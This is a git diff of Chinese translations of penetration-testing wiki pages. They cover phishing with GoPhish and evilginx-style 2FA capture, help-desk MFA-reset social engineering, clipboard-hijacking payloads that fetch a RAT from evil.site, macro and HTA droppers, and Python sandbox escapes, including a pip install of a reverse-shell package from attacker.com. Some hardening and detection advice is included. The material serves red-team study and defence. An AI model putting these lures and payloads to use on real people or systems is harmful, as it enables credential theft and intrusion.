你可以从 [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) 下载。
|
||||
|
||||
下载并解压到 `/opt/gophish` 中,并执行 `/opt/gophish/gophish`\
|
||||
下载并解压到 `/opt/gophish` 中并执行 `/opt/gophish/gophish`\
|
||||
你将在输出中获得端口 3333 的管理员用户密码。因此,访问该端口并使用这些凭据更改管理员密码。你可能需要将该端口隧道到本地:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
@ -128,7 +128,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
|
||||
最后将文件 **`/etc/hostname`** 和 **`/etc/mailname`** 修改为您的域名并 **重启您的 VPS。**
|
||||
|
||||
现在,创建一个指向 VPS **ip 地址** 的 **DNS A 记录** `mail.<domain>` 和一个指向 `mail.<domain>` 的 **DNS MX 记录**
|
||||
现在,创建一个指向 VPS **ip 地址** 的 **DNS A 记录** `mail.<domain>` 和一个指向 `mail.<domain>` 的 **DNS MX** 记录
|
||||
|
||||
现在让我们测试发送电子邮件:
|
||||
```bash
|
||||
@ -212,7 +212,7 @@ case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
完成配置服务并检查它,方法是:
|
||||
完成配置服务并检查它的方法是:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
@ -312,14 +312,14 @@ dkim=pass header.i=@example.com;
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!TIP]
|
||||
> 建议使用 "**发送测试邮件**" 功能来测试一切是否正常。\
|
||||
> 我建议将 **测试邮件发送到10分钟邮件地址** 以避免在测试中被列入黑名单。
|
||||
> 建议使用“**发送测试邮件**”功能来测试一切是否正常。\
|
||||
> 我建议将**测试邮件发送到10分钟邮件地址**以避免在测试中被列入黑名单。
|
||||
|
||||
### 邮件模板
|
||||
|
||||
- 设置一些 **名称以识别** 模板
|
||||
- 然后写一个 **主题**(没有奇怪的内容,只是您在常规邮件中可以期待看到的内容)
|
||||
- 确保您已勾选 "**添加跟踪图像**"
|
||||
- 确保您已勾选“**添加跟踪图像**”
|
||||
- 编写 **邮件模板**(您可以使用变量,如以下示例所示):
|
||||
```html
|
||||
<html>
|
||||
@ -343,7 +343,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
- 向一个**不存在的地址**发送电子邮件,并检查回复是否有任何签名。
|
||||
- 搜索**公共电子邮件**,如 info@ex.com 或 press@ex.com 或 public@ex.com,向它们发送电子邮件并等待回复。
|
||||
- 尝试联系**一些有效发现的**电子邮件并等待回复。
|
||||
- 尝试联系**一些有效的发现**电子邮件并等待回复。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -364,7 +364,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
> 请注意,如果您需要**使用某些静态资源**用于 HTML(可能是一些 CSS 和 JS 页面),您可以将它们保存在 _**/opt/gophish/static/endpoint**_ 中,然后从 _**/static/\<filename>**_ 访问它们。
|
||||
|
||||
> [!TIP]
|
||||
> 对于重定向,您可以**将用户重定向到受害者的合法主网页**,或者例如将他们重定向到 _/static/migration.html_,放置一些**旋转轮**(**[https://loading.io/](https://loading.io)**)5 秒钟,然后指示该过程成功。
|
||||
> 对于重定向,您可以**将用户重定向到受害者的合法主网页**,或者将他们重定向到 _/static/migration.html_,例如,放置一些**旋转轮**(**[https://loading.io/](https://loading.io)**)持续 5 秒,然后指示该过程成功。
|
||||
|
||||
### 用户与组
|
||||
|
||||
@ -382,7 +382,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> 我建议**将测试电子邮件发送到 10 分钟邮件地址**以避免在测试中被列入黑名单。
|
||||
> 我建议将**测试电子邮件发送到 10 分钟邮件地址**以避免在测试中被列入黑名单。
|
||||
|
||||
一切准备就绪后,只需启动活动!
|
||||
|
||||
@ -412,18 +412,18 @@ phishing-documents.md
|
||||
这就是像 [**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper) 和 [**muraena**](https://github.com/muraenateam/muraena) 这样的工具有用的地方。该工具将允许您生成类似 MitM 的攻击。基本上,攻击的工作方式如下:
|
||||
|
||||
1. 您**冒充真实网页的登录**表单。
|
||||
2. 用户**发送**他的**凭据**到您的伪造页面,工具将这些发送到真实网页,**检查凭据是否有效**。
|
||||
2. 用户**发送**他的**凭据**到您的假页面,工具将这些发送到真实网页,**检查凭据是否有效**。
|
||||
3. 如果账户配置了**2FA**,MitM 页面将要求输入,一旦**用户输入**,工具将其发送到真实网页。
|
||||
4. 一旦用户通过身份验证,您(作为攻击者)将**捕获凭据、2FA、cookie 和任何信息**,在工具执行 MitM 时的每次交互中。
|
||||
4. 一旦用户通过身份验证,您(作为攻击者)将**捕获凭据、2FA、cookie 和任何信息**,在工具执行 MitM 时的每次交互。
|
||||
|
||||
### 通过 VNC
|
||||
|
||||
如果您不是**将受害者发送到一个与原始页面外观相同的恶意页面**,而是将他发送到一个**与真实网页连接的 VNC 会话**呢?您将能够看到他所做的事情,窃取密码、使用的 MFA、cookie...\
|
||||
如果您不是**将受害者发送到一个看起来与原始页面相同的恶意页面**,而是将他发送到一个**与真实网页连接的 VNC 会话**呢?您将能够看到他所做的事情,窃取密码、使用的 MFA、cookie...\
|
||||
您可以使用 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) 来做到这一点。
|
||||
|
||||
## 检测检测
|
||||
|
||||
显然,知道您是否被发现的最佳方法之一是**在黑名单中搜索您的域**。如果它被列出,您的域以某种方式被检测为可疑。\
|
||||
显然,知道您是否被发现的最佳方法之一是**在黑名单中搜索您的域**。如果它出现在列表中,您的域以某种方式被检测为可疑。\
|
||||
检查您的域是否出现在任何黑名单中的一种简单方法是使用 [https://malwareworld.com/](https://malwareworld.com)。
|
||||
|
||||
然而,还有其他方法可以知道受害者是否**积极寻找可疑的钓鱼活动**,如以下所述:
|
||||
@ -432,7 +432,7 @@ phishing-documents.md
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
您可以**购买一个与受害者域名非常相似的域名**,**和/或为您控制的域的**子域**生成证书**,**包含**受害者域的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**,您将知道**他在积极寻找**可疑域,您需要非常隐蔽。
|
||||
您可以**购买一个与受害者域名非常相似的域**,**和/或为您控制的域的**子域**生成证书**,**包含**受害者域的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**,您将知道**他在积极寻找**可疑域,您需要非常隐蔽。
|
||||
|
||||
### 评估钓鱼
|
||||
|
||||
@ -440,15 +440,15 @@ detecting-phising.md
|
||||
|
||||
## 高接触身份妥协(帮助台 MFA 重置)
|
||||
|
||||
现代入侵集越来越多地完全跳过电子邮件诱饵,**直接针对服务台/身份恢复工作流程**以击败 MFA。攻击完全是“依靠现成的资源”:一旦操作员拥有有效凭据,他们就会利用内置的管理工具进行转移——不需要恶意软件。
|
||||
现代入侵集越来越多地跳过电子邮件诱饵,**直接针对服务台/身份恢复工作流程**以击败 MFA。攻击完全是“依靠现成的资源”:一旦操作员拥有有效凭据,他们就会利用内置的管理员工具进行转移——不需要恶意软件。
|
||||
|
||||
### 攻击流程
|
||||
1. 侦察受害者
|
||||
* 从 LinkedIn、数据泄露、公共 GitHub 等收集个人和公司详细信息。
|
||||
* 确定高价值身份(高管、IT、财务)并列举**确切的帮助台流程**以进行密码/MFA 重置。
|
||||
2. 实时社会工程
|
||||
2. 实时社交工程
|
||||
* 在冒充目标的情况下拨打电话、使用 Teams 或聊天帮助台(通常使用**伪造的来电 ID**或**克隆的声音**)。
|
||||
* 提供先前收集的 PII 以通过知识验证。
|
||||
* 提供之前收集的 PII 以通过基于知识的验证。
|
||||
* 说服代理**重置 MFA 密钥**或对注册的手机号码执行**SIM 交换**。
|
||||
3. 立即后访问操作(≤60 分钟的真实案例)
|
||||
* 通过任何 Web SSO 门户建立立足点。
|
||||
@ -466,11 +466,11 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
* 使用**WMI**、**PsExec**或在环境中已列入白名单的合法**RMM**代理进行横向移动。
|
||||
|
||||
### 检测与缓解
|
||||
* 将帮助台身份恢复视为**特权操作**——要求提升身份验证和经理批准。
|
||||
* 将帮助台身份恢复视为**特权操作**——要求升级身份验证和经理批准。
|
||||
* 部署**身份威胁检测与响应(ITDR)**/**UEBA**规则,警报:
|
||||
* MFA 方法更改 + 来自新设备/地理位置的身份验证。
|
||||
* MFA 方法更改 + 从新设备/地理位置进行身份验证。
|
||||
* 同一主体的立即提升(用户-→-管理员)。
|
||||
* 记录帮助台通话,并在任何重置之前强制**回拨到已注册的号码**。
|
||||
* 记录帮助台电话并在任何重置之前强制**回拨到已注册的号码**。
|
||||
* 实施**及时(JIT)/特权访问**,以便新重置的账户**不**自动继承高特权令牌。
|
||||
|
||||
---
|
||||
@ -489,14 +489,14 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
* 持久性组件(注册表运行键 + 计划任务)
|
||||
|
||||
### 加固提示
|
||||
* 阻止新注册的域名,并在*搜索广告*和电子邮件上强制实施**高级 DNS/URL 过滤**。
|
||||
* 限制软件安装为签名的 MSI/商店包,通过策略拒绝执行 `HTA`、`ISO`、`VBS`。
|
||||
* 监控浏览器打开安装程序的子进程:
|
||||
* 阻止新注册的域并在*搜索广告*以及电子邮件上强制实施**高级 DNS / URL 过滤**。
|
||||
* 限制软件安装为签名的 MSI / 商店包,通过策略拒绝执行 `HTA`、`ISO`、`VBS`。
|
||||
* 监控打开安装程序的浏览器子进程:
|
||||
```yaml
|
||||
- parent_image: /Program Files/Google/Chrome/*
|
||||
and child_image: *\\*.exe
|
||||
```
|
||||
* 搜索经常被第一阶段加载器滥用的 LOLBins(例如 `regsvr32`、`curl`、`mshta`)。
|
||||
* 寻找经常被第一阶段加载器滥用的 LOLBins(例如 `regsvr32`、`curl`、`mshta`)。
|
||||
|
||||
---
|
||||
|
||||
@ -506,8 +506,8 @@ and child_image: *\\*.exe
|
||||
| 层 | 威胁行为者的示例使用 |
|
||||
|-------|-----------------------------|
|
||||
|自动化|生成并发送 >100 k 电子邮件/SMS,带有随机措辞和跟踪链接。|
|
||||
|生成 AI|制作*一次性*电子邮件,引用公共 M&A、社交媒体中的内部笑话;在回拨诈骗中使用深度伪造的 CEO 声音。|
|
||||
|代理 AI|自主注册域名,抓取开源情报,当受害者点击但未提交凭据时制作下一阶段邮件。|
|
||||
|生成 AI|生成*一次性*电子邮件,引用公共 M&A、社交媒体中的内部笑话;在回拨诈骗中使用深度伪造的 CEO 声音。|
|
||||
|代理 AI|自主注册域,抓取开源情报,当受害者点击但未提交凭据时制作下一阶段邮件。|
|
||||
|
||||
**防御:**
|
||||
• 添加**动态横幅**,突出显示来自不受信任的自动化发送的消息(通过 ARC/DKIM 异常)。
|
||||
@ -517,17 +517,17 @@ and child_image: *\\*.exe
|
||||
---
|
||||
|
||||
## MFA 疲劳/推送轰炸变体 – 强制重置
|
||||
除了经典的推送轰炸,操作员只需在帮助台通话期间**强制新的 MFA 注册**,使用户现有的令牌失效。任何后续的登录提示对受害者来说看起来都是合法的。
|
||||
除了经典的推送轰炸,操作员简单地**在帮助台通话期间强制新的 MFA 注册**,使用户现有的令牌失效。任何后续的登录提示对受害者来说看起来都是合法的。
|
||||
```text
|
||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||
[Attacker] → Completes new TOTP enrolment on their own device
|
||||
```
|
||||
监控 AzureAD/AWS/Okta 事件,其中 **`deleteMFA` + `addMFA`** 在 **同一 IP 的几分钟内** 发生。
|
||||
监控 AzureAD/AWS/Okta 事件,其中 **`deleteMFA` + `addMFA`** 在 **同一 IP 地址的几分钟内** 发生。
|
||||
|
||||
## 剪贴板劫持 / 粘贴劫持
|
||||
|
||||
攻击者可以从被攻陷或拼写错误的网页中静默地将恶意命令复制到受害者的剪贴板中,然后诱使用户在 **Win + R**、**Win + X** 或终端窗口中粘贴这些命令,从而在不下载或附加任何内容的情况下执行任意代码。
|
||||
攻击者可以从被攻陷或拼写相似的网页中静默地将恶意命令复制到受害者的剪贴板中,然后诱使用户在 **Win + R**、**Win + X** 或终端窗口中粘贴这些命令,从而在不下载或附加任何内容的情况下执行任意代码。
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
|
||||
@ -1,16 +1,16 @@
|
||||
# Clipboard Hijacking (Pastejacking) Attacks
|
||||
# 剪贴板劫持(Pastejacking)攻击
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> "永远不要粘贴你没有自己复制的内容。" – 虽然老旧但仍然有效的建议
|
||||
|
||||
## Overview
|
||||
## 概述
|
||||
|
||||
Clipboard hijacking – 也称为 *pastejacking* – 利用用户常常在不检查的情况下复制和粘贴命令的事实。一个恶意网页(或任何支持JavaScript的环境,如Electron或桌面应用程序)以编程方式将攻击者控制的文本放入系统剪贴板。受害者通常通过精心设计的社会工程指令被鼓励按下 **Win + R**(运行对话框)、**Win + X**(快速访问/PowerShell),或打开终端并 *粘贴* 剪贴板内容,立即执行任意命令。
|
||||
剪贴板劫持 – 也称为 *pastejacking* – 利用用户常常在不检查的情况下复制和粘贴命令的事实。恶意网页(或任何支持JavaScript的环境,如Electron或桌面应用程序)以编程方式将攻击者控制的文本放入系统剪贴板。受害者通常通过精心设计的社会工程指令被鼓励按下 **Win + R**(运行对话框)、**Win + X**(快速访问/PowerShell),或打开终端并 *粘贴* 剪贴板内容,从而立即执行任意命令。
|
||||
|
||||
因为 **没有文件被下载,也没有附件被打开**,该技术绕过了大多数监控附件、宏或直接命令执行的电子邮件和网页内容安全控制。因此,该攻击在传播商品恶意软件家族(如NetSupport RAT、Latrodectus loader或Lumma Stealer)的网络钓鱼活动中非常流行。
|
||||
因为 **没有文件被下载,也没有附件被打开**,该技术绕过了大多数监控附件、宏或直接命令执行的电子邮件和网页内容安全控制。因此,该攻击在传播商品恶意软件家族(如NetSupport RAT、Latrodectus loader或Lumma Stealer)的钓鱼活动中非常流行。
|
||||
|
||||
## JavaScript Proof-of-Concept
|
||||
## JavaScript 概念验证
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
@ -22,7 +22,7 @@ navigator.clipboard.writeText(payload)
|
||||
}
|
||||
</script>
|
||||
```
|
||||
较早的攻击使用 `document.execCommand('copy')`,而较新的攻击依赖于异步 **Clipboard API** (`navigator.clipboard.writeText`)。
|
||||
较早的活动使用 `document.execCommand('copy')`,而较新的活动依赖于异步 **Clipboard API** (`navigator.clipboard.writeText`)。
|
||||
|
||||
## ClickFix / ClearFake 流程
|
||||
|
||||
@ -40,8 +40,8 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||
```
|
||||
* `jp2launcher.exe` (合法的 Java WebStart) 在其目录中搜索 `msvcp140.dll`。
|
||||
* 恶意 DLL 动态解析 API 使用 **GetProcAddress**,通过 **curl.exe** 下载两个二进制文件 (`data_3.bin`, `data_4.bin`),使用滚动 XOR 密钥 `"https://google.com/"` 解密它们,注入最终的 shellcode 并将 **client32.exe** (NetSupport RAT) 解压到 `C:\ProgramData\SecurityCheck_v1\`。
|
||||
* `jp2launcher.exe`(合法的 Java WebStart)在其目录中搜索 `msvcp140.dll`。
|
||||
* 恶意 DLL 动态解析 API 使用 **GetProcAddress**,通过 **curl.exe** 下载两个二进制文件(`data_3.bin`,`data_4.bin`),使用滚动 XOR 密钥 `"https://google.com/"` 解密它们,注入最终的 shellcode 并将 **client32.exe**(NetSupport RAT)解压到 `C:\ProgramData\SecurityCheck_v1\`。
|
||||
|
||||
### Latrodectus Loader
|
||||
```
|
||||
@ -70,12 +70,13 @@ mshta https://iplogger.co/xxxx =+\\xxx
|
||||
|
||||
1. 浏览器强化 – 禁用剪贴板写入访问 (`dom.events.asyncClipboard.clipboardItem` 等) 或要求用户手势。
|
||||
2. 安全意识 – 教用户 *输入* 敏感命令或先将其粘贴到文本编辑器中。
|
||||
3. PowerShell 受限语言模式 / 执行策略 + 应用程序控制以阻止任意单行命令。
|
||||
3. PowerShell 受限语言模式 / 执行策略 + 应用控制以阻止任意单行命令。
|
||||
4. 网络控制 – 阻止对已知粘贴劫持和恶意软件 C2 域的出站请求。
|
||||
|
||||
## 相关技巧
|
||||
|
||||
* **Discord 邀请劫持** 通常在诱使用户进入恶意服务器后滥用相同的 ClickFix 方法:
|
||||
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
@ -7,18 +7,18 @@
|
||||
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。
|
||||
|
||||
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\
|
||||
例如,RTF 文件在设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\
|
||||
例如,RTF 文件设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\
|
||||
相同的内部机制适用于 Microsoft Office 套件的所有软件(Excel、PowerPoint 等)。
|
||||
|
||||
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX 文件引用远程模板(文件 - 选项 - 插件 - 管理:模板 - 转到)时,包括宏也可以“执行”宏。
|
||||
DOCX 文件引用远程模板(文件 – 选项 – 插件 – 管理:模板 – 转到)时,包括宏也可以“执行”宏。
|
||||
|
||||
### 外部图像加载
|
||||
|
||||
转到:_插入 --> 快速部件 --> 字段_\
|
||||
转到: _插入 --> 快速部件 --> 字段_\
|
||||
_**类别**:链接和引用,**字段名称**:includePicture,**文件名或 URL**:_ http://\<ip>/whatever
|
||||
|
||||
.png>)
|
||||
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### 手动删除元数据
|
||||
|
||||
转到 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。
|
||||
前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。
|
||||
|
||||
#### 文档扩展名
|
||||
|
||||
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
|
||||
这样做是因为你 **不能在 `.docx` 中保存宏**,并且 **`.docm`** 扩展名有一个 **污名**(例如,缩略图图标上有一个巨大的 `!`,一些网络/电子邮件网关完全阻止它们)。因此,这个 **遗留的 `.doc` 扩展名是最佳折衷**。
|
||||
这样做是因为你 **不能在 `.docx` 中保存宏**,并且对宏启用的 **`.docm`** 扩展名有一种 **污名**(例如,缩略图图标上有一个巨大的 `!`,一些网络/电子邮件网关完全阻止它们)。因此,这个 **传统的 `.doc` 扩展名是最佳折衷**。
|
||||
|
||||
#### 恶意宏生成器
|
||||
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## HTA 文件
|
||||
|
||||
HTA 是一个 Windows 程序,它 **结合了 HTML 和脚本语言(如 VBScript 和 JScript)**。它生成用户界面并作为“完全信任”的应用程序执行,而不受浏览器安全模型的限制。
|
||||
HTA 是一个 Windows 程序,它 **结合了 HTML 和脚本语言(如 VBScript 和 JScript)**。它生成用户界面并作为“完全信任”的应用程序执行,且不受浏览器安全模型的限制。
|
||||
|
||||
HTA 通过 **`mshta.exe`** 执行,通常与 **Internet Explorer** 一起 **安装**,使得 **`mshta` 依赖于 IE**。因此,如果它被卸载,HTA 将无法执行。
|
||||
HTA 使用 **`mshta.exe`** 执行,通常与 **Internet Explorer** 一起 **安装**,使得 **`mshta` 依赖于 IE**。因此,如果它被卸载,HTA 将无法执行。
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,14 +140,16 @@ self.close
|
||||
```
|
||||
## 强制 NTLM 认证
|
||||
|
||||
有几种方法可以**“远程”强制 NTLM 认证**,例如,您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**(甚至是 HTTP MitM?)。或者将**文件地址**发送给受害者,这将**触发**仅仅**打开文件夹**时的**认证**。
|
||||
有几种方法可以**“远程”强制 NTLM 认证**,例如,您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**(甚至是 HTTP MitM?)。或者将**文件地址**发送给受害者,这将**触发**仅仅**打开文件夹**所需的**认证**。
|
||||
|
||||
**在以下页面中查看这些想法和更多内容:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
@ -52,7 +52,7 @@ Python 尝试 **首先从当前目录加载库**(以下命令将打印 python
|
||||
### 默认包
|
||||
|
||||
你可以在这里找到 **预安装包的列表**:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
请注意,从一个 pickle 中,你可以使 python 环境 **导入系统中安装的任意库**。\
|
||||
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
||||
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
有关pickle工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip包
|
||||
### Pip 包
|
||||
|
||||
技巧由**@isHaacK**分享
|
||||
技巧由 **@isHaacK** 分享
|
||||
|
||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
||||
如果您可以访问 `pip` 或 `pip.main()`,您可以安装任意包并通过调用获得反向 shell:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该 **解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**:
|
||||
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> 该包名为 `Reverse`。然而,它是特别制作的,以便在您退出反向 shell 时,其余的安装将失败,因此您 **在离开时不会在服务器上留下任何额外的 python 包**。
|
||||
> [!TIP]
|
||||
> 这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
|
||||
|
||||
## 评估 python 代码
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
|
||||
|
||||
如果某些字符被禁止,您可以使用 **十六进制/八进制/B64** 表示法来 **绕过** 限制:
|
||||
如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -182,7 +182,7 @@ class _:pass
|
||||
|
||||
#### 使用自定义类的 RCE
|
||||
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -251,7 +251,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### 创建带有异常的对象
|
||||
|
||||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)的技巧):
|
||||
当**异常被触发**时,**Exception**的对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)的技巧):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -302,7 +302,7 @@ a.__class__.__exit__ = lambda self, *args: None
|
||||
with (a as b):
|
||||
pass
|
||||
```
|
||||
## 内置
|
||||
## 内置函数
|
||||
|
||||
- [**Python2 的内置函数**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Python3 的内置函数**](https://docs.python.org/3/library/functions.html)
|
||||
@ -314,8 +314,8 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...) **都没有加载**。\
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
|
||||
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块,以 **访问** 其中的 **危险** **功能**。
|
||||
|
||||
@ -401,15 +401,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个可以找到 **globals** 的 **地方**。
|
||||
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 来查找数十/**数百**个可以找到**globals**的**地方**。
|
||||
|
||||
